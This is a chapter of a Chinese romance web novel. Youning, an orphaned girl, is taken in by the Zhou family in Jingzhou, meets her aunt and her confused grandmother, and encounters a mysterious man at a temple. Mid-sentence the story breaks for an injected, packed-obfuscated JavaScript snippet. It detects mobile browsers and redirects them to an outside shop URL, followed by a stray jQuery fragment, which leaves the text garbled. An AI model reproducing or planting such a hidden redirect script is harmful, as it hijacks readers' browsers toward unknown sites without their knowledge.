这儿实在不是个宜居的地方，这是攸宁对京州的第一印象。
车外热浪滚滚，将两侧的银杏树榨出最后一点水分，一下车便进了日头底下，骄阳仿佛不把人晒干便不罢休。
她只在电视机上见过这样的宅院，三进三出的四合院透着一股无声的压迫，小腿儿般高的门槛险些将她绊个趔趄。
司机将人和行李撂下便驱车离开，一个自称冯婶的女人从侧门探出脑袋，唤了一声丫头叫她进去。
“昨天老太太刚出院，今天来探望的客人忒多，还是走侧门方便些。”她解释道，声音平平板板。
攸宁点了点头，拎着行李跟了上去。她步子稀碎，紧跟在冯婶身后，像是只谨慎的麻雀。
陌生环境带来的不安感，让她想要开口说些什么，但冯婶只将后背留给了她，像是比她还要谨慎数倍。
偶有旁人投来打量的目光，询问她是谁家的姑娘，也都被冯婶以“老仆人家的女儿”的名义搪塞过去。
从外头看，这院子不显山不露水，内里却别有洞天。一砖一瓦沿中轴铺陈，檐角飞翘，池中几支荷花开得正盛，粉瓣在烈日下有些蔫蔫的。
周家虽不如往日风光，但仗着那位青云直上的亲家，仍有不少旧识以探病为名，前来维系交情。
因此当攸宁走到南房外时，里头正谈笑风生。
她并非有意偷听，实是屋内声响敞亮，几个贵妇聚在一处闲谈，与村口闲话的妇人们并无二致。
“淮风的婚事一日不定下来，不知得耽误京州多少姑娘的心。”
“可不？就说我家那妹妹，自打年初见了人一面，便天天催我来打听，我耳朵都快起茧了。”
“他年纪虽轻，辈分却不小。旁人不好开口，你这做姐姐的总能催催吧？”
女人多的地方，心思便如藤蔓缠绕，谁不想为自家摘下这枝高岭之花，护得家里数十年平步青云。
况且这朵已能与主家平分秋色，将来只怕更要青出于蓝。
胥怜月转了转腕上碧玉镯子，轻声笑道：“我毕竟不是亲姐姐，这话哪里好催得。”
明白人听到此处，便寻个由头起身告辞了。
胥家这门亲，岂是寻常人家能攀附的，这定是另有打算了。
冯婶让攸宁进去的时候，里面的人已经走了个干净。
攸宁背着行李袋端正站好，略有些紧张地看着坐在主位上的女人，勉强藏住那一点局促：“妗，妗子好。”
在京州“妗子”是舅妈的意思，她不知道具体是哪两个字，普通话也实在算不上标准。
胥怜月年纪不到四十，身着件素净旗袍，头发低绾：“你就是攸宁吧，都出落的这么漂亮了，快过来让我瞧瞧。”
偏黑黄的肤色、干巴巴的身子、假小子般的短发，攸宁听过最多的称赞是能干，漂亮倒是第一次。
明明攸宁从未见过讲话如此温言细语的人，却莫名地感受到了一种疏离：“你母亲走的时候你才豆丁那么点儿大，没想到一眨眼这么多年过去了……这些年是周家亏待了你，不过不管怎么样，回来了就好，日后就跟在家一样，有什么需要跟妗子说。”
到底是年纪太小，看不出和善下的寒暄作态，直至行李袋将胳膊勒出条红痕，也不敢伸手去挠。
更何况主动攀谈去问，明明在十六年前就将人抛弃，为什么如今又要突然认回。
攸宁不敢细想，毕竟她现在急需的是一个能遮风挡雨的屋檐。
而这里比想象中的好太多太多。
墙角落地钟嗡鸣报时，已是下午三点钟了。
胥怜月安排好她的住处，这才让冯婶将她的行李接了过去：“老太太午休也该醒了，她病里就一直念叨着你，你赶快过去看看吧。”
……
几扇雕花的月洞门将四进的院子连在一起，老太太养病图清净，住在了最里面的厢房。
攸宁原以为上了年纪的人气色都是不好的，阿嬷走之前就十分消瘦萎靡，不料并不都是如此。
一头银发的老人半靠在床头，虽皱纹纵横却面色红润，瞧见她的时候险些将手中药碗打翻。
“小婉？是小婉回来了吗？”
一旁伺候的何姨赶忙接过碗来，放攸宁进屋前特意叮嘱道：“老太太糊涂认不清人，说什么你都应着，千万别让她难过。”
攸宁见过村子里糊涂的老人，一年四季守在门口，逢人便叫儿女姓名。
看到同样浑浊的眼神，她瞬间明白了过来，上前握住苍老但柔软的手，拭去老人眼边的泪：“您别哭，我这不回来看您了吗。”
可她越是安慰，老太太掉泪越是厉害：“小婉你别怪我，你爸也有难言的苦衷，去跟他认个错……”
话讲得颠三倒四没有逻辑，攸宁只是频频点头说好，笑着接受了这份突如其来的亲情。
却隐隐得猜出，这个小婉可能就是她已经去世的母亲。
何姨并没让二人独处太久，归根到底不是眼皮子底下长大的孩子，怕心焦气躁出什么岔子，便借着送补品的口进来了。
“这是淮风上次来带的燕窝，厨房刚炖好的，快让小婉看着您喝了吧。”
可令人意外的是，偏偏这样一个普通话说不顺溜，初来乍到连人都认不齐的姑娘，把老太太自病后第一次哄得咯叽咯叽笑了起来。
老太太捕捉到那个名字，牵起攸宁的手，喃喃地道：“要是能再结个亲家我可就享福喽。”
听到这儿，何姨确信老太太是彻底糊涂了，趁机连哄带骗喂下一整碗燕窝。
“诶呦祖宗，上面差着年纪，下面差着辈分，这要真成了不就乱套了吗。”
攸宁不懂其中关系，只是静静地听着。
不料多年以后，老人的这番糊涂言语，一语成谶。
—
早年周家靠钢铁生意发的家，在京州属于后起之辈，算不上什么高门大户。
后来随着时代不得已变了成分，便以肉眼可见的速度没落了下来，所幸到了这一辈儿与胥家攀上了亲，才算勉强立住脚跟。
如今当家的是周仕东，老太太的儿子，胥怜月的丈夫，攸宁需唤一声舅舅。
周仕东很少回老宅，平时长年累月居住在外，除非碰上节假日和家里要事。
攸宁仅仅是在第一天远远和他打过照面儿，真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698558|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正意义上认识是八月中旬中元节祭祖的时候。
老太太行动不便，没法去寺里上香，却执拗地让攸宁去上香、磕头、认祖归宗。
家有一老，如有一宝。
周仕东虽没直言反对，但一路上脸色不大好看，尤其是在得知自己儿子在外鬼混，将近半个月没有回过家的时候。
这是攸宁到京州后第一次外出，随着周家夫妇二人下车后，看见几个手捻佛珠的僧人恭敬地迎了上来，难免有些紧张。
胥怜月和人商量着这次敬香的规模和人数，直至攸宁伸手去接分发的香烛时，始终一言不发的周仕东才道：“行了，用不着大操大办，就按往常的来。”
小僧弥听罢有些为难地挠了挠头，他明明记得这家小辈是个儿子，祭祖是大事，香分错了人可是要被师父骂的。
“舅舅，妗子。”
攸宁将香烛原封不动放了回去：“我路上晕车有点不舒服，想去洗把脸。”
……
一瓢清水拂面，降去全身的燥热，也让人变得更清醒起来。
纵使是攸宁再没眼力价儿，也看得出这个舅舅并不喜欢她。
说什么认祖归宗，只是老太太的一厢情愿。
攸宁望着波澜不惊的水面，在某一瞬间与那人的剪影重合，浮现一道清矍的背影。
在她想入非非时并未注意到，引她过来的小僧弥已经离开迎了旁人离开。
良久觉得时间差不多，想要起身回去时，才发现四周空无一人。
殿宇森森，像是岭南的山一般一重连着一重，仿佛陷入走不出的迷梦，就连宝相庄严的佛样也失去了祥和的面色。
攸宁不停地向前走着，直至把头探进最后一间殿门：“请问有人在吗？”
她几乎是第一眼看到了那个男人，着了件最素净的白色衬衫，两颊微凹的弧线又在颧骨处撑起，山根高耸没入眉骨，在眼窝处打下浅浅的阴影。
明明是重骨相的面容，此刻却比普度众生的菩萨还要悲悯。
他抬眸看见了痴痴的她，好似并不意外，钯金打火机喷出的焰火均匀持久，不同于盒装的火柴。
攸宁愣了一下，是想说些什么的，嘴却像被线缝上一样出不来声。
他们并非第一次见面，数月前阿嬷的葬礼上，她被阿嬷的子女视作煞星丢进了仓房。
浑浑噩噩不知多久，房门打开，他突然出现在眼前，就如同今日一样。
他亲自将她接回京州，却从未讲过自己姓名，她怕冒犯不敢询问，也不知该如何称呼。
“您……”
骨节分明的手指靠近薄唇——“嘘”。
他们站的有一些距离，气流却像喷溢到了她的身上，那是一种难言的感觉。
“在你左手旁的桌上，帮我拿根香来。”
攸宁迟钝地点了点头，小心翼翼抓了几支香，迈着轻飘飘地步子向他走去。
他稳当接了过来，伸进蓝紫色的焰心，很快便冒出一缕淡淡的青烟。
与此同时，攸宁嗅到了一股气味，那是萦绕在鼻尖数日难以忘怀的香气。
原来是檀香燃烧时散发的味道。